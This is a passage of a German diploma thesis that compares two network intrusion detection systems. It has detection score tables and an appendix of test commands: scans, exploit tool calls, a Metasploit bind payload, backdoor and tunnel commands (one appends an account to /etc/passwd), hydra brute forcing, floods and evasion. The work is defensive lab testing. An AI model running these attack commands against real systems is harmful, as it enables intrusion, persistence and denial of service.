frag-0 2 2 47 104

comp-0 0 0 48 104
os�ng-xprobe-1 0 2 48 104
os�ng-xprobe-2 0 2 48 104

ap�ng-amap 2 1 48 104
zone-1 2 2 48 104

source-1 2 2 49 105
bogon-1 2 2 49 105
bogon-2 1 1 49 105
ikescan 1 0 49 105
GetAcct 1 0 49 105
ikeprobe 0 0 49 105

P
49/70 45/70

Tabelle 6.2: Ergebnisse der Scan Tests
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6.3.2 Exploits

Exploits sind die Stärke beider Systeme. Alle Tests werden ohne Probleme erkannt.
Natürlich ist es nicht überraschend, da die Exploits mindestens 6 Monate alt sind.

Test Symantec Genua Testfall Seite Test Seite
gwee 0 1 50 105

webscan 2 0 50 105
unicode-shell 2 2 50 105

webexplt 2 2 51 105
vv5 2 2 51 106

rs_iis 2 2 51 106
apache-nosejob 2 2 51 106

apache-openssl-exploit 2 2 51 106
hmap 2 2 51 106

dnascan 0 0 52 106
owa 0 2 52 106

7350wurm 2 1 52 106
0x82-wu262 2 0 52 106

shack 0 0 52 106
bind8x 1 0 52 107

cisco-exploiter-1 2 0 53 107
cisco-exploiter-2 2 2 53 107
cisco-exploiter-3 0 2 53 107

metasploit 2 2 53 107
land 2 2 54 107

ntpx-replay 2 2 54 107
P

31/42 28/42

Tabelle 6.3: Ergebnisse der Exploits Tests
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6.3.3 Backdoors

Die getesteten Backdoors waren auch so gewählt, um die Systeme zu fordern. Bei
bekannten Backdoors wie Back-Ori�ce gibt es Signature, um diese zu erkennen.
Aber was machen die Systeme mit unbekannten Backdoors. Wie kann man ein
PAM Rootkit detektieren? Wenn eine ssh Verbindung über DNS Abfragen oder
eine Verbindung mit ICMP Pakete getunnelt wird oder die Daten in der Sequenzid
versteckt werden, sollte der erhöhte Verkehr als möglicherEinbruch betrachtet
werden. Natürlich ist die Fehlerrate hoch. Allerdings gibtes keine Alternative
momentan, um unbekannte bzw. umgeschriebene Rootkits zu entdecken.

Das Scannen des eigenen Netzes nach Services mu� nicht jedesRootkit zeigen.
Ein paar Rootkits arbeiten nach dem Portknocking Prinzip [por].

Leider gerade bei den Backdoors zeigen alle Systeme Schwächen. Die Produkte
bieten keine Möglichkeit, um die Net�ow nach Grenzwerten auszuwerten. Es wäre
möglich Tools wie netcat [Gia] und cryptcat [sud] für Datentransfer zu nutzen,
auch wenn ftp explizit verboten ist.

Es gibt ein Opensource Produkt [oss], welches viele Opensource Produkte verbin-
det, wie z.B. ntop [Derb], um eine komplette Sicherheitslösung zu bieten. Damit
wäre eine Anomalienerkennung möglich!

Das von Symantec entdeckteReverse-WWW-Tunnel-Backdoorist durch die allge-
meinen Signaturen für das HTTP Protokoll detektiert worden. Da das Backdoor
die Spezi�kation nicht einhält wurde als Protokollanomalie detektiert.
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Test Symantec Genua Testfall
Seite

Test Sei-
te

zappa 0 0 54 107
Reverse-WWW-Tunnel-Backdoor 1 0 54 108

cb-rootkit 0 0 54 54
tunnelshell 0 0 55 108
adore-ng 0 0 55 108

pam 0 0 55 108
cd00r 0 0 55 55

icmpbackdoor 0 0 56 108
udp-remote 0 0 56 108

SAdoor(shell) 0 0 56 109
SAdoor(commands) 0 0 56 109

P
1/11 0/11

Tabelle 6.4: Ergebnisse der Rootkits Tests

6.3.4 Tunnelangriffe

Abgesehen von den Ipv6 Tunnel, welcher als Encapsuling Protocol (Symantec
Einstufung: Informativ) detektiert wurde, konnten die Systeme keine der Tunnels
entdecken. Für das httptunnel gilt das gleich, was bei den Backdoors erwähnt
wurde.

Durch IP in IP oder GRE Tunnels kann man unsichtbar für die IDSbleiben. Voraus-
setzung, man hat schon administrativer Rechte im Zielsystem und die Protokolle
nicht durch Firewall oder im Router blockiert werden.

Die einzige sichere Schutzma�nahme ist natürlich die Protokolle zu blocken, die
man nicht braucht.

snort kann schon das Proto Feld überwachen. Somit kann man Alarme de�nieren
falls nicht unterstützte Protokolle (z.B. GRE) auftauchen. Leider existieren Stan-
dardmä�ig keine Regeln dafür und über die Ober�äche von Genua ist es nicht
möglich solche Regeln zu de�nieren. Auch bei Symantec gibt es kein Standardre-
gel, aber es ist möglich Signaturen de�nieren zu de�nieren.

Es sollte erwähnt werden, dass bei Symantec möglich ist, dass einzelne Netz�ows
Alarme und/oder Aktionen auslösen. Falls ein Server Verbindungen aufbaut oder
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ein HTTP Zugriff auf ein FTP Server erfolgt, kann ein ein Alarm ausgelöst werden.

Test Symantec Genua Testfall Seite Test Seite
gretunnel 0 0 56 109
updtunnel 0 0 57 109
httptunnel 0 1 57 109
dnstunnel 0 0 57 109
ipv6tunnel 1 0 57 109
icmptunnel 0 0 57 110
ipiniptunnel 0 0 57 110

ncovert 0 0 57 110
P

1/8 1/8

Tabelle 6.5: Ergebnisse der Tunneling Tests

6.3.5 DNS und Router Angriffe

Angriffe wie DNSspoo�ng oder Routingprotokollangriffen werden nicht detek-
tiert. Das hat das Problem zufolge, dass Router und Switchesso mi�braucht wer-
den, dass der ganze Traf�c -nicht nur eines Host, sondern derganze ausgehende
Verkehr- zu den Router des Angreifers umgeleitet wird.

Test Symantec Genua Testfall Seite Test Seite
dnsspoof 0 0 58 110
dnshijack 0 0 59 110

P
0/2 0/2

Tabelle 6.6: Ergebnisse der DNS Tests

6.3.6 Bruteforce Attacken

Bruteforce Attacken sind nicht selten, umso wichtiger ist es solche zu detektieren.
Leider gibt es keine zuverlässige Möglichkeit festzustellen, ob ein Zugriff legitim
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ist oder nicht. Man kann -und es existieren für SNMP/FTP,..-Signaturen de�nieren,
falls z.B. beim FTP Protokoll die Authenti�zierung fehlschlägt. Natürlich ist die
Fehlerrate gross.

Wie die Tests zeigen, können die Systeme Bruteforce Attacken schlecht detektie-
ren. Sinnvoller wäre, um auch bei verschlüsselten Verbindungen Bruteforce At-
tacken zu detektieren, die Log�les auszuwerten. Wenn innerhalb eines Zeitraums
viele Authenti�zierungsversuche auftreten, gibt es ein Alarm.

Test Symantec Genua Testfall Seite Test Seite
brute-force-hydra-mssql 1 0 59 110

brute-force-hydra-iis 0 0 59 110
brute-force-hydra-mysql 0 0 59 110

venom 0 1 59 111
tsgrinder 0 2 59 111

P
1/5 3/5

Tabelle 6.7: Ergebnisse der Bruteforce Tests

6.3.7 Denial od Service Attacken

Auch wenn nicht die Hauptaufgabe von Einbrechungserkennungsystemen ist sol-
che Angriffe zu erkennen, wurde untersucht, wie weit mit derStandardkon�gura-
tion Denial of Service Angriffe erkannt werden. Wie man erkennen kann, sind in
der Standardkon�guration von Snort nur wenige Signaturen aktiviert.

Test Symantec Genua Testfall Seite Test Seite
icmp444 0 0 60 111
dns�ood 1 1 60 111
d0s.pl 1 0 60 111
dhcpx 0 0 60 111

P
2/4 1/4

Tabelle 6.8: Ergebnisse der DoS Tests
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6.3.8 Layer 2 Attacken

Alle Layer 2 Angriffe werden nicht detektiert. Auch wenn Snort ein ARPsoo�ng
Detektor hat, man mu� manuell die MAC/IP Adressen eintragen.. Man sollte mehr
auf dynamisches Detektieren umschalten, wie z.B. bei arpwatch der Fall ist. Bei
neue bzw. veränderte ARP/IP Zuordnung, gibt es ein Benachrichtigung. Das Pro-
gramm lernt durch passives Abhören des Verkehrs und verwaltet die IP/ARP Zu-
ordnung.

Ess ist einfach Man in the Middle Attacke durchzuführen, da ARP Spoo�ng
nicht detektierbar ist. Da in unverschlüsselten, aber auchin schlecht verschlüsselt
(schlecht, weil z.b. keine gültige PKI existiert) Verkehr,sehr einfach ist, Passwör-
ter auszupionieren, mu� man die Netze besonders sichern. Durch Mac Filterung,
DHCP Snooping und ähnliche Techniken lassen sich effektiv viele Angriffe ver-
meiden. Leider ist der administrativer Aufwand sehr gross.

Layer 2 Attacken sind mehr als ARP Spoo�ng. Das in Blackhat 2005 vorgestellte
yersinia Tool [OB], zeigt auch andere Layer 2 Attacken, wie z.B. Spanning Tree
(STP), Cisco Discovery (CDP), Hot Standby Router (HSRP), Dynamic Trunking
(DTP), 802.1q und VLAN Trunking (VTP).

Au�er den 2 Tests wurde ein Man in the Middle Attacke mit Hilfevon dsniff [Sona]
erfolgreich. Voraussetzung war ein erfolgreicher ARP Spoo�ng Angriff. Auch ein
Portstealing Angriff mit Hilfe von ettercap-NG [OV] wurde nicht entdeckt.

Test Symantec Genua Testfall
Seite

Test Seite

Layer2-yersinia STP mangling 0 0 61 111
Layer2-yersinia STP DoS 0 0 61 111

cdp spoof 0 0 61 111
cdp �ood 0 0 61 111

P
0/4 0/4

Tabelle 6.9: Ergebnisse der Layer 2 Tests

6.3.9 Evasion Tests

Die Systeme lassen sich nicht mehr durch die in [Pta98] vorgestellten Angriffe
täuschen. Alle Tests wurden erfolgreich detektiert, was nach fast 7 Jahre nicht mehr
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überraschend ist.

Test Symantec Genua Testfall Seite Test Seite

frag-1 2 2 61 112
frag-2 2 2 61 112
frag-3 2 2 62 112
frag-4 2 2 62 112
frag-5 2 2 62 112
frag-6 2 2 62 62
frag-7 2 2 62 112
tcp-1 2 2 62 112
tcp-3 2 2 63 112
tcp-4 2 2 63 112
tcp-5 2 2 63 112
tcp-7 2 2 63 113
tcp-8 2 2 63 113
tcp-9 2 2 64 113
tcbc-2 2 2 64 113
tcbc-3 2 2 64 113
tcbt-1 2 2 64 113

insert-2 2 2 65 113
P

18/18 18/18

Tabelle 6.10: Ergebnisse der Evasion Tests

6.3.10 Leistungstests

Die Leistungstests haben beide Produkte, wie erwartet, ohne Probleme bewältigt.
Natürlich bei 2GB bzw 8GB RAM sollten die Systeme mit diesen einfachen Tests
nicht belastet sein.

Für das Produkt von Genua gibt es Abzüge, weil zu viele Alarmegeneriert wurden
und fast 45 dauert bis alle Alarme in der Datenbank eingetragen wurden.
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Test Symantec Genua Testfall Seite Test Seite
idswakeup 2 2 65 114

snot 2 2 65 114
stick 2 2 66 114

nikto-1 2 1 66 114
nikto-2 2 1 66 114
nikto-3 2 1 66 114
Nessus 2 2 67 114

P
14/14 11/14

6.3.11 Kriterien LfSaD

Lastverteilung ist ein wichtiges Kriterium. Beide Produkte bündeln die Interfaces,
so dass keine Probleme beim Detektieren gibt.

Test Symantec Genua Testfall Seite Test Seite
route-1 2 2 67 115
route-3 2 2 67 115

P
4/4 4/4

Tabelle 6.11: Ergebnisse der Tests fürs LfSaD

6.3.12 Stre� Test

udp�ooding ist bei der spendierten Memory kein Problem.

Test Symantec Genua Testfall Seite Test Seite
udp�ood 1 0 67 115

udp�ood-1 2 2 67 115
P

3/4 2/4
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6.3.13 Live System

Für den letzten Test wurde die IDS mit Live Daten gefüttert und ein Angriff simu-
liert. Für 2 Stunden wurden echte Daten gesammelt und in dieser Zeit ein Angriff
simuliert.

6.3.13.1 Symantec

Bei Symantec waren alle Ereignisse gruppiert. Es ist vorgekommen -hängt mit den
Gruppierungsoptionen zusammen, die man selbst verändern kann-, dass Buffer
Over�ows mit Scans zusammen gruppiert. Da das erste höchsteEreignis der Scan
war, wurde der Angriff nicht angezeigt in der Übersicht, nurin der Gruppe selbst. So
wäre es möglich, einfach bei der Vielzahl der Ereignisse Angriffe zu verstecken.
Au�erdem es gab öfter Over�ow Incidents. Das bedeutet das sehr viele Events
innerhalb kürzester Zeitraum vorkam, was zur sofortigen Schlie�ung des Erreigniss
führte, statt 10 Minuten zu warten. Viele der Simulierte Angriffe wurden zusammen
mit anderen gruppiert, so dass es in der Übersicht nicht auftauchten, wenn man
dort nach Angriffen von der �ktiven IP sucht. Es tauchten beiden Reports nach IP
auf. Es ist also mit Vorsicht zu genie�en. Wenn man nicht vorsichtig ist, könnten
Angriffe unentdeckt bleiben.

Da das System nicht auf das Netz nicht angepa�t würde, gab es viele Fehlalarme.
Es war zum Beispiel nicht ersichtlich, ob das InformationalEvent über schwa-
ches SNMP Password echt ist oder ein Angriff. Hat jemand vergessen ein starkes
Password zu setzen, oder probiert ein Angreifer mit Bruteforce alle Passwörter
durch? Ohne Kenntnis des Netzes, -ist das Ziel ein Drucker, ein Router oder ein
Switch- kann man echte und falsche Alarme nicht unterscheiden. Es gab Pro-
tokollfehler, welche entweder als Angriff intpretieren kann, oder eine schlechte
Implementierung der entsprechenden Standards.

6.3.13.2 Genua

Die gleiche Probleme mit den falschen Alarme hat natürlich auch das Produkt
von Genua. Es dauert paar Minuten bis der simulierte Angriffauf der Datenbank
auftaucht. Mit der Übersicht kann man schlecht ohne Gruppierung arbeiten. Die
Suchfunktionen mit den verschiedenen Constraints erlauben eine sehr schöne Su-
che und Überwachung der einzelnen Angreifer.
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6.4 Fazit

Um ein Produktvergleich durchzuführen wird die Note der Detektionstests gemit-
telt.

Au�erdem werden die Kriterien aus den Kriterienkatalog bewertet. Die Kriterien
werden mit eine maximal 2 Punkte gewertet.

Die Produkte liegen nah bei einander. Die Detektion ist fastbei beiden Produkten
gleich. Leider beide Produkte sind wenig erweiterbar durcheigene Plugins und
Post-/Preprozessoren, um dort ein Vorteil zu sehen. Auch die Hochverfügbarkeit
der Sensoren ist eine Frage, die keine Entscheidung geben kann.

Man sollte nicht vergessen, dass es um eine gute ausgestattete Appliance von Sy-
mantec handelt, während die Voraussetzungen bei Genua streng sind und Probleme
bereiten, da die Netzwerkkarte nicht unterstützt waren. Der Support hat schnell eine
Lösung geliefert, um die Tests zu ermöglichen.

Entscheiden ist am Ende die Alarmenverwaltung. Jedes Produkt hat eine eigene
Lösung, die Stärken, aber auch Schwächen hat. Welche die beste ist, ist offen.

Somit kann keine klare Empfehlung ausgesprochen werden.
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Kriterium Symantec Genua
Support x2 1 2 2

Signature Update x2 2 2 2
eigene Signaturen 3 2 2
Software Update 4 2 2

Management Konsole x2 5 2 2
Erweitbarkeit (Plugins) 6 1 0

Replikation 7 - -
Remote Verwaltung 8 2 2

Verdichtung der Log�les 9 2 2
Priorisierung der Events 10 2 2

Pre-/Postprozessoren 11 0 0
Signature Import 12 0 0

Verwaltung der Sensoren 13 2 2
Kommandos schicken 14 - -

Datenbank Tools 15 1 1
Speicherung alter Daten 16 2 2

Policy und Groups Domains x3 182 2
Kein Paketverlust x2 6 2 2
falsch detektiert x2 7 1 1

Eingebaute Ausgabeoptionen x2 12 1
Alertinformationen 2 1 2
Suche/Analyse x3 3 1 2

Filtermöglichkeiten x2 4 2 2
Reportmöglichkeiten x2 5 2 2

Responsemöglichkeiten11 6 - -
IDEMF 7 0 0

Standardssupport x2 8 2 2
Komponentenkommunikation 1 2 2

Verschlüsselung 2 2 2
angebotene Dienste 3 2 2

stealthy Support 5 2 2
Authenti�zierung der Sensoren 6 0 0

hardened Kernel 7 0 0
Verfügbarkeitsüberwachung 11 2 2

Hochverfügbarkeit 12 2 0
Rolende�nition 10 2 2

Mehrstu�ge Architektur 1 2 2
Lastverteilung 2 2 2

Pseudonymisierung 4 0 0
Detektion 124 113P

gemittelt 4,95 4,7



Zusammenfassung

Jeden Tag gibt es neue Würmer, neue Programmfehler werden entdeckt und neue
Gefahren werden bekannt, z.B. WHPhissing. Darum ist es extrem wichtig ein frühe
Einbruchserkennung zu haben. Einbruchserkennungssysteme beobachten Rechner
und Netzwerk auf Hinweise von Einbrüchen und können diese evtl. auch verhin-
dern.

Im Rahmen dieser Diplomarbeit wurde ein Kriterienkatalog aufgestellt, um Netz-
werk Einbruchserkennungssysteme vergleichen und bewerten zu können. Es wur-
den Kriterien bezüglich Installation, Kon�guration, Management, Detektion, Aus-
gabe, Sicherheit und spezielle Kriterien für das Landesamtde�niert.

Weiterhin wurden verschiedene Testfälle de�niert, die durch Tests implementiert
wurden, um die Detektion und die Qualität der Signaturen derProdukte zu un-
tersuchen. Die Tests sollten weiterhin die Grenzen der Netzwerk Einbruchserken-
nungssystemen zeigen.

Es wurde ein Netzwerk aufgebaut, um die Tests durchführen zukönnen und An-
griffe zu simulieren. Au�erdem wurde die Positionierung der Sensoren im System
diskutiert. Es wurde au�erdem eine Hochverfügbarkeitslösung vorgestellt, falls die
Produkte keine solche Lösung anbieten,

Als Produkte für Evaluation wurden Firma Symantec SNS und der Firma Genua
GeNUDetect ausgewählt.

Die Systeme können viele Angriffe erkennen, aber viele Angriffe bleiben uner-
kannt. Allein durch den Einsatz von Netzwerk Einbruchserkennungssystemen kann
man das Netzwerk nicht ausreichend sichern. Für die Sicherheit eines Netzes oder
Rechners sind weitere Ma�nahmen nötig, wie z.B. Firewall, oder ein gesicherter
Kernel. Die Sicherheit von allen Komponenten (Routern, Switches,..) sowie die
Abschaltung aller unnötige Protokolle mu� auch beachtet werden.

Es sollten neben ein Netzwerk Einbruchserkennungssystem evtl auch Host Ein-
bruchserkennungssystem im Einsatz kommen. Es wäre sinnvoll beide -Netz und



98 KAPITEL 6. BEWERTUNG

Host IDS- in ein Hybrid Einbruchserkennungssystem zu kombinieren, um einen
gesamten Überblick über das Netzwerk zu bekommen. Das Hybrid könnte auch
andere Daten auswerten, z.B. der Firewall.

Weiterhin sind der Einsatz von Statische Analyse Tools und eines zentrales Logs-
ervers zu empfehlen. Damit hat man eine sehr guten Überblickwas im Netz und
den Rechnern statt�ndet und können bekannte, aber auch unbekannte Angriffe
entdeckt werden.
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A
Tests

The more complex our security
becomes, the more complex our
enemy's ef forts must be. The more
we seek to shut him out, the better
he must learn to bec ome at
breaking in. Each new level of
security that we manage becomes
no more th an a stepping stone for
him who would surpass us, for he
bases his next assault upon our best
defenses.

This Alien Shore

Die meisten Tests, ausser die die in [McN04] vorgestellt wurden, lassen sich mit
folgenden Live Security CDs durchführen:

Knoppix-STD
Operator
Auditor
F.I.R.E
Whoppix bzw. Whax
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A.1 Scans

Name TCP SYN
Implementation nmap -sS -F 192.168.10.13

Name sing-1
Implementation sing 192.168.10.13

Name sing-info
Implementation sing -info 192.168.10.13

Name icmpush-tstamp
Implementation icmpush -tstamp 192.168.10.13

Name icmpush-mask
Implementation icmpush -mask 192.168.10.13

Name scanrand2
Implementation scanrand2 -vv -D -c 192.168.10.13

Name scanrand2-1
Implementation scanrand2 -vv -D -c -l1-20 192.168.10.13

Name TCP SYN 2
Implementation scanrand 192.168.10.13:quick

Name TCP connect()
Implementation nmap -sT -F 192.168.10.13
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Name udp
Implementation nmap -sU -F 192.168.10.13

Name protocol
Implementation nmap -sO -F 192.168.10.13

Name ack
Implementation nmap -sA -F 192.168.10.13

Name rpc
Implementation nmap -sA -sR -F 192.168.10.13

Name null
Implementation nmap -sN -O -F 192.168.10.13

Name icmp
Implementation nmap -sN -F -PM -T2 –scan_delay 6000 192.168.10.13

Name �n
Implementation nmap -sF -F 192.168.10.13

Name windows
Implementation nmap -sW -F 192.168.10.13

Name xmas
Implementation nmap -sX -F 192.168.10.13

Name decoy
Implementation nmap -sM -F -D 192.168.10.15,192.168.10.85,192.168.10.113

192.168.10.13
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Name idle
Implementation nmap -sI 192.168.10.33:22 -F 192.168.10.13

Name time-1
Implementation nmap -sS -F -T0 192.168.10.13

Name time-2
Implementation nmap -sS -p 22,389,53,21 -T0 192.168.10.13

Name ipv6s-1
Implementation nmap -sT -F -P0 -6 3ffe:400:100::1

Name frag-0
Implementation nmap -sF -F -f 192.168.10.13

Name comp-0
Implementation nmap -sF -F -T0 -f x.x.x.x

Name os�ng-xprobe-1s
Implementation xprobe2 -s 20 -T22,53,389,80 -M7 192.168.10.13

Name os�ng-xprobe-2
Implementation xprobe2 -s 20 -T22,53,389,80 -M7,8,9,10,11 192.168.10.13

Name ap�ng-amap
Implementation amap 192.168.10.13 22

Name zone-1
Implementation dig -t AXFR 192.168.10.13 192.168.10.13

Name source-1
Implementation lsrscan 192.168.10.13
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Name bogon-1
Implementation nmap -S 114.242.54.65 -e eth6 -P0 -sS -F 192.168.10.13

Name bogon-2
Implementation nmap -S 127.0.0.1 -e eth6 -P0 -F -sS 192.168.10.13

Name ikescan
Implementation ikescan -s 333 192.168.10.39

Name GetAcct
Implementation GetAcct

Name ikeprobe
Implementation ikeprobe 192.168.10.39

A.2 Angriffe auf die Dienste

Für diese Tests wurden die Whoppix (White Hacker Knoppix), F.I.R.E., knoppix
STD und Auditor genutzt, da alle Tools und Exploits mitgeliefert werden.

Name gwee
Implementation gwee 192.168.10.39

Name webscan
Implementation webscan -u 192.168.10.39 -sd

Name unicode-shell
Implementation unicode-shell.pl

Name webexplt
Implementation webexplt.pl 192.168.10.39
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Name vv5
Implementation vv5.pl 192.168.10.39

Name rs_iis
Implementation rs_iis 192.168.10.39

Name apache-nosejob
Implementation apache-nosejob -h 192.168.10.39 -t 10

Name apache_openssl_exploit
Implementation apache_openssl_exploit 17 192.168.10.39 80

Name hmap
Implementation python hmap.py http://192.168.10.39:80

Name dnascan
Implementation dnascan.pl http://192.168.10.39/startpage.asp

Name owa
Implementation owa.pl 192.168.10.39 80

Name 7350wurm
Implementation 7350wurm -t 33 -d 192.168.10.13

Name 0x82-wu262
Implementation 0x82-wu262 -h 192.168.10.13 -ux82 -px82 -n21 -t0

Name shack
Implementation shack -t10 192.168.10.13

Name bind8x
Implementation bind8x 192.168.10.13 53
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Name cisco-torch
Implementation cisco-torch 192.168.10.1

Name cisco-exploiter-1
Implementation cisco-exploiter.pl -h 192.168.10.1 -v3

Name cisco-exploiter-2
Implementation cisco-exploiter.pl -h 192.168.10.1 -v4

Name cisco-exploiter-3
Implementation cisco-exploiter.pl -h 192.168.10.1 -v7

Name metasploit
Implementation ./msfcli apache PAYLOAD=win32_bind

RHOST=192.168.10.13 RPORT=8080
LHOST=192.168.10.244 LPORT=5555 TARGET=2 E

Name land
Implementation LAND Attacke mit Hilfe von hping [San]: hping -V -c 100 -d

40 -S -k -s 139 -p 139 -a 192.168.10.39 192.168.10.39

Name ntpx-replay
Implementation tcpreplay -i eth6 ntp-attack.trace

A.3 Backdoors

Die Rootkits/Backdoors lassen sich nicht kurz erklären.

Name zappa
Implementation nc -ulp 2323 ping -c 1 -s 63 192.168.10.37
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Name Reverse-WWW-Tunnel-Backdoor
Implementation rwwwshell-2.0.pl slave

Name cb-rootkit
Implementation ssh 192.168.10.3 -p 2006 [adisorinlorenzo]

Name tunnelshell
Implementation tunneld -i 1000 -d 0 -t icmp -o icmp -m echo,reply�� ./tunnel

-i 1000 -d 0 -t icmp -o icmp -m echo,reply 192.168.10.37

Name adore-ng
Implementation ssh 192.168.10.3 -p 2222

Name pam
Implementation pam

Name cd00r
Implementation nmap -sS -T Polite -p 200

192.168.10.3
nmap -sS -T Polite -p 80 192.168.10.3
nmap -sS -T Polite -p 22 192.168.10.3
nmap -sS -T Polite -p 53 192.168.10.3
nmap -sS -T Polite -p 3 192.168.10.3
telnet 192.168.10.3 5002

Name icmpbackdoor
Implementation ibd-server 8
./ibd-client 192.168.10.3 8

Name udp-remote
Implementation ./client 192.168.10.45 192.168.10.37 32980 ls
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Name SAdoor
Implementation sash 192.168.10.3 -n -vvv -r 'echo "capti-

ve:x:1001:1001:Captive Sandbox:/var/li b/captive:/bin/false"
»/etc/passwd2 bzw.
./sash 192.168.10.3 -vv -b 192.168.10.45 -vvv -t 120

A.4 Tunnelangriffe

Name gretunnel
Implementation NMAP Scan durch GRE Tunnel

Name udptunnel
Implementation udptunnel:
./udpShell
./udpClient 192.168.10.13

Name httptunnel
Implementation httptunnel:
hts -F localhost:23 8888
htc -F 2323 192.168.10.13:8888

Name
Implementation
nomde.pl -i 127.0.0.1 ozyman.bayern.de ssh -C -o ProxyCommand="perl droute.pl -v sshdns.ozyman.bayern.de"

Name ipv6tunnel
Implementation NMAP Scan durch IPv6 in IPv4 Tunnel

Name
Implementation
./it -L 10023 –send_type ICMP_ECHO –recv_type ICMP_ECHOREPLY –id 1024 –rid 4096 192.168.10.13
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Name ipiniptunnel
Implementation Nmap SCAN durch IP in IP Tunnel

Name ncovert
Implementation ncovert ncovc rt -S -f ciscocrack -s 192.168.10.33 -d

192.168.10.13 -p 3333 ncovert -f ciscocrack -s 192.168.10.33
-d 192.168.10.13 -p 3333 -l44 44

A.5 DNS und Router Angriffe

Name dnsspoof
Implementation dnsspoof

Name dnshijack
Implementation dnshijack

A.6 Bruteforce Attacken

Name brute-force-hydra-iis
Implementation hydra 192.168.10.39 http -s 80 -l snort -p snort,test,mssql-e

ns -m /foot/bar/protected.htm

Name brute-force-hydra-mssql
Implementation hydra 192.168.10.13 mssql -s 3306 -l snort -p snort -e ns

Name brute-force-hydra-mysql
Implementation hydra 192.168.10.13 mysql -s 3306 -l snort -p snort -e ns

Name venom
Implementation venom
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Name tsgrinder
Implementation tsgrinder -w bacteria.txt -d workgroup -D 192.168.10.39

Denial od Service Attacken

Name icmp444
Implementation icmp444 192.168.10.13

Name dns�ood
Implementation perl dns�ood.pl 192.168.10.13

Name d0s
Implementation perl d0s.pl 192.168.10.13

Name dhcpx
Implementation dhcpx -vvv -i eth6 -D 192.168.10.13 -A

A.7 Layer 2 Attacken

Name yersinias
Implementation yersinias

Name cdp
Implementation cdp -v -i eth6 -m 1 -D 23 -P34 -LLinux -SOS11 -F

192.168.10.4 -CR

A.8 Evasion Tests

Name frag-1
Implementation fragroute -F1
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Name frag-2
Implementation fragroute -F2

Name frag-3
Implementation fragroute -F3

Name frag-4
Implementation fragroute -F4

Name frag-5
Implementation fragroute -F5

Name frag-6
Implementation fragroute -F6

Name frag-7
Implementation fragroute -F7

Name tcp-1
Implementation fragroute -T1

Name tcp-3
Implementation fragroute -T3

Name tcp-4
Implementation fragroute -T4

Name tcp-5
Implementation fragroute -T5

Name tcp-7
Implementation fragroute -T7
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Name tcp-8
Implementation fragroute -T8

Name tcp-9
Implementation fragroute -T9

Name tcbc-2
Implementation fragroute -C2

Name tcbc-3
Implementation fragroute -C3

Name tcbt-1
Implementation fragroute -R1

Name tcbt-2
Implementation fragroute -R2

Name insert-2
Implementation fragroute -I2

Name insert-3
Implementation fragroute -I3

Name misc-1
Implementation fragroute -M1

Name misc-2
Implementation fragroute -M2
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A.9 Leistungsvergleichstest

Name idswakeup
Implementation idswakeup 192.168.10.13

Name snot
Implementation snot -r oracle.rules -s 192.168.10.45 -d 192.168.10.13 -l 10

Name stick
Implementation stick sH 192.168.10.160 dH

192.168.10.39
nmap -sS -p 514,53,22 192.168.10.13

Name nikto-1
Implementation nikto -evasion 6 -host 192.168.10.39

Name nikto-2
Implementation nikto -evasion 9 -g -host 192.168.10.39

Name nikto-3
Implementation nikto -evasion 4 -g -host 192.168.10.39

Name Nessus
Implementation Nessus

A.10 Kriterien LfStaD

Name route-1
Implementation Der eine Host benutzt udp�ood, der Angreifer führt einen

TCP-Angriff durch. Die Pakete gehen durch die zwei interne
Interfaces mit der Wahrscheinlichkeit 50%.
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Name route-3
Implementation Der Angreifer führt einen TCP-Angriff durch. Die Pakete ge-

hen durch die zwei interne Interfaces mit der Wahrscheinlich-
keit 50%.

A.11 Stre� Tests

Name udp�ood
Implementation upd�ood

Name udp�ood-1
Implementation udp�oop 192.168.10.13 & nmap -sS -F 192.168.10.13
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